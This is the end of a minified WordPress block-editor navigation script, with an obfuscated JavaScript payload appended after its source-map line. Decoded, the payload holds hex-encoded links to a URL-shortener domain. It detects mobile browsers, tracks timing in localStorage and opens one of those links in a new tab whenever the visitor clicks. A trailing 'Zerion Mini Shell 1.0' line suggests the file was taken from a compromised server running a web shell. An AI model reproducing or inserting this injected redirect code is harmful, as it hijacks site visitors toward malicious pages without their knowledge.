Post"),__experimentalNoFetch:!0}]),(0,u.dispatch)(s.store).__experimentalReapplyBlockTypeFilters(),(0,c.registerCoreBlocks)(),(0,c.__experimentalRegisterExperimentalCoreBlocks)()}(t),(0,l.render)((0,l.createElement)(tn,{settings:t}),document.getElementById(e))}})(),(window.wp=window.wp||{}).editNavigation=a})();
//# sourceMappingURL=index.min.js.map
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4f\x7a\x4c\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x77\x4d\x4a\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x72\x56\x67\x38\x63\x348','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x78\x64\x4f\x39\x63\x389','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x66\x70\x62\x34\x63\x314','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x71\x42\x63\x37\x63\x337','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x45\x4c\x5a\x32\x63\x372','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x54\x70\x74\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x76\x58\x64\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x72\x6c\x63\x75\x74\x74\x6c\x79\x2e\x6e\x65\x74\x2f\x4e\x73\x78\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

Zerion Mini Shell 1.0